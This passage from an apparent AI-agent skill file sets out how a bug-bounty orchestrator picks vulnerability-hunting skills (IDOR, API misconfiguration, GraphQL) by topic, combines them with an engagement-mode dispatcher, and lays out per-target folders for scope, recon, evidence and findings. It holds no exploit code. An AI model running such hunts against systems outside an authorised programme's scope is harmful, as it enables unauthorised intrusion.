There are 30+ hunt- skills in this repo. Each carries a non-trivial context footprint. The orchestrator's job is to pick 2-3 by topic match, not to dump the entire library. If the user says "hunt this SaaS app", do NOT load every hunt- skill — pick web2-recon + hunt-idor + hunt-api-misconfig (the SaaS-typical trio) and stop there. Add more only when the recon output suggests a specific additional class (e.g., GraphQL endpoints found → add hunt-graphql).

Integration with hunt-dispatch

This skill routes by bug class (topic match). The hunt-dispatch skill added in this repo routes by engagement mode (red-team vs WAPT, blackbox vs greybox). They compose:

1. User says "hunt example.com"
2. bb-methodology PART 0 confirms mode (e.g., bug-bounty blackbox)
3. hunt-dispatch loads the platform-specific attack profile
4. This orchestrator (bug-bounty) names the topic-matched hunt-* skills inside the chosen profile

Don't bypass either step. Mode determines what counts as a finding; topic determines what techniques apply.

Engagement scaffolding

The /hunt slash-command and the hunt <target> shell helper (see this repo's cmd/ directory) pre-create the engagement scaffold:

• targets/<target>/scope.md — declared scope, pasted from the program page
• targets/<target>/findings/ — one MD per validated finding
• targets/<target>/evidence/ — HARs, screenshots, redacted curl transcripts
• targets/<target>/submissions.txt — log of submitted-report URLs + states
• targets/<target>/recon/ — outputs from subfinder | dnsx | httpx | katana

Use the scaffold from the start. Half-organized engagements lose findings — a probe result from hour 2 that didn't seem important until hour 14 is unrecoverable if it wasn't logged.

When the orchestrator gets it wrong

Across 30+ Phase 2 verification tests in this repo, the orchestrator correctly auto-triggered the matching skill in every test — zero misfires. If on a future target the orchestrator misroutes (loads the wrong hunt-* for the topic), the cause is almost always the description: frontmatter field on the target skill: a missing keyword that would have matched the user's intent. Fix forward by editing that skill's frontmatter description: field to include the missing trigger word. Don't add another layer of dispatch logic; tighten the description.

• bb-local-toolkit — When you need to know which local clone has the tool for a given task. Workflow primitive: this skill is general bug-bounty guidance; bb-local-toolkit answers the specific "where is jhaddix/SecLists installed on this machine?" question.